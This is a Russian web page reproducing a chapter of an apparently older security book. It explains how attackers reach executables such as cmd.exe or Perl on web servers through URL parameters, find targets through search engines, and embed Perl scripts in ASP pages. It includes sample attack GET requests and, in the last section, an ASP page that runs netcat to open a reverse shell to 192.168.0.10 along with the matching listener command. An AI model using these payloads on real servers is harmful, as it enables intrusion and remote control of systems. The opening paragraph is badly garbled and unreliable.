На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Использование доверительных отношений, созданных при настройке среды исполнения

Программ™ атаки,, в которых шспользуются доверительные отноше^^( не всегда являются результатом ошибок программирования.. Иногда п1ричинаакрроетсся в пра­вилах работы в определенном «окружении. Например, при [размещении файла perl. exe вв кааталогс agg-Mm \Wb-сервера шиего нне. тподозрршжшщй ^ШЬ-мастер устанавливвааеетт довериттееллььнныыее отношеенниияя с анонимными пользователями, которые получают возможность "оценивать"( Perl-выражен^, используемые m'TWito-сервере. БезуслошвШ( это ввеудачное решение, (поскольку анонимным (пользователям (предос­тавляется неогIр^m^еенньйй(!;гооступ к «жптмее. Однако в этом случае доверие обу­словлено месторасспооллоожжееннииеемм ииссппооллнняяееммоогогоффааййллаа PPeerrl,l , а не настройками про­граммного обеспечения.

Шаблон атаки: непосредственный доступ к исполняемым файлам
Рассмотрим ситуацию, при которой вполне возможен непосредственный доступ к приви­легированной программе/В результате выполнения этой программой определенных команд хакер может расширить свои привилегии или получить доступ к командному интерпретатору. Для Web-серверов такая ситуация часто является фатальной. Если сервер запускает внешние исполняемые файлы, предоставленные пользователем (или просто названные им), пользова­тель способен заставить систему работать в непредвиденном режиме. Для этой цели хакер может воспользоваться аргументами командной строки или создать интерактивный сеанс взаимодействия. Подобные ошибки не менее опасны, чем предоставление хакеру неограни­ченного доступа к командному интерпретатору.
Чаще всего целями подобных атак становятся Web-серверы. При этом атаки настолько просты, что многие злоумышленники для выявления потенциальных целей атаки пользуются поисковыми машинами Internet, например Altavista или Google.
Исполняемым программам, как правило, можно передать параметры через команд­ную строку. Большинство Web-серверов передают параметры командной строки непо­средственно исполняемому файлу как "свойства". Хакер получает возможность указать интересующий исполняемый файл, например командный интерпретатор или какую-то утилиту. Параметры, полученные в адресе URL, передаются указанному исполняемому файлу и там интерпретируются как команды. Например, следующие параметры могут быть переданы программе cmd. ехе с целью запустить DOS-команду dir. cmd.exe /с dir
При передаче данных Web-серверу обычно используется некоторая форма имени искомого файла, а иногда добавляются дополнительные параметры.
GET /cgi-bin/perl?-e%2 0print%2 0hello_world GET /scripts/shtral.dll?index.asp GET /scripts/sh GET /foo/cmd.exe
Поиск непосредственно исполняемых файлов
Проблемы, подобные описанным выше, достаточно легко выявить. Хакер может просканировать удаленную файловую систему в поисках известных исполняемых файлов. В перечень интересующих файлов попадают библиотеки DLL, исполняемые файлы и CGI-программы. Наиболее популярными целями являются следующие файлы: /bin/perl, perl. ехе, perl. dll, cmd. ехе, /bin/sh.
Еще раз напоминаем, что непосредственно доступные файлы могут быть обнару­жены с помощью Web-поисковиков. Сайты Altevista и Google предоставляют нуж­ные сведения любому желающему найти уязвимые серверы.
Сведения о текущем рабочем каталоге
Текущий рабочий каталог (Current Working Directory — CWD) можно считать параметром запущенного процесса. При атаке на запущенный процесс можно ожи­дать, что все команды влияют на определенный каталог файловой системы. Если не задать каталог, то программа будет предполагать, что все операции по работе с фай­лами должны выполняться в текущем рабочем каталоге.

При подобных атаках нельзя использовать некоторые символы. Это может огра­ничить использование команд, для которых предполагается указание пути к опреде­ленному каталогу. Например, если нельзя использовать символ косой черты (/), то придется ограничиться работой в текущем каталоге. Однако проблемы с использо­ванием точек и косой черты существуют по сей день в старых версиях Java.
Что делать, если Web-сервер не выполняет CGI-программы?
Иногда конфигурация сервера не допускает исполнения двоичных файлов. Обна­ружить это будет особенно обидно, когда хакер потратил несколько часов на загрузку в систему "троянского" файла. В данном случае следует проверить, не позволяет ли сер­вер исполнять файлы сценариев. При положительном результате этой проверки сле­дует загрузить файл, который не считается "исполняемым" (например сценарий или специальная серверная страница, которые все-таки обрабатываются определенным способом). В этом файле можно передать на сервер специальные вложенные сценарии, которые способны выполнить "троянские" программы через proxy-сервер.
Шаблон атаки: сценарии, вложенные в сценарии
Современные Internet-технологии очень разнообразны и сложны. На данное время соз­даны сотни языков программирования, компиляторов и интерпретаторов, которые позволяют писать и исполнять программный код. Но каждый разработчик очень хорошо знает только не­которую часть общей технологии. Эволюция систем приводит к необходимости обеспечения обратной совместимости различных технологий программирования. И с точки зрения ме­неджмента требуется получить прибыль от инвестиций, вложенных в современное программ­ное обеспечение Это одна из причин; по которым некоторые новые языки создания сцена­риев обратно совместимы с уже устаревшими языками создания сценариев.
В результате быстрой, но плохо контролируемой эволюции средств создания программно­го кода, большая часть технологий позволяет использовать встроенные фрагменты кода, соз­данные на других языках программирования или с помощью других технологий (также могут предоставляться иные возможности доступа). Это значительно усложняет задачу обеспечения безопасности и заставляет отслеживать различные функциональные возможности, предостав­ляемые благодаря поддержке разных технологий. Правила фильтрации и методы защиты те­ряют актуальность из-за появления все новых и новых технологий. Одним из мощнейших ме­тодов хакеров является поиск функциональных возможностей, "забытых" администраторами в различных "уголках" операционной системы.
Для хакера является большой удачей, когда библиотека ActivePerl установлена на Web-сервере Microsoft IIS. В этом случае он может просто встроить Perl-сцена­рий в ASP-страницу. Для этого сначала нужно загрузить Perl-страницу, затем раз­местить вредоносный Perl-сценарий на эту страницу и таким образом опосредованно выполнить Perl-операторы. Подобные программы атаки, как правило, выполняются с правами учетной записи IUSR, поэтому хакер получает довольно ограниченные возможности.
Пример 2. Встроенные Perl-сценарии, вызывающие функцию
system () для запуска netcat
Рассмотрим следующий программный код.
<%@ Language =  PerlScript %> <%
system("nc    -e    cmd.exe    -n    192.168.0.10    53 ");
%>
После загрузки программы netcat, когда у хакера нет возможности ее непосред­ственного запуска, можно загрузить ASP-страницу со встроенным Perl-сценарием. В нашем примере программа netcat переходит в режим ожидания соединений на компьютере хакера с помощью следующей команды.
C:\nc   -1   -р 53
Итак, установлена привязка к порту, и ожидаются запросы на соединение. После исполнения Perl-сценария и подключения к компьютеру хакера по адресу 192.168.0.10, хакеру предоставляется доступ к командному интерпретатору уда­ленного компьютера.

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика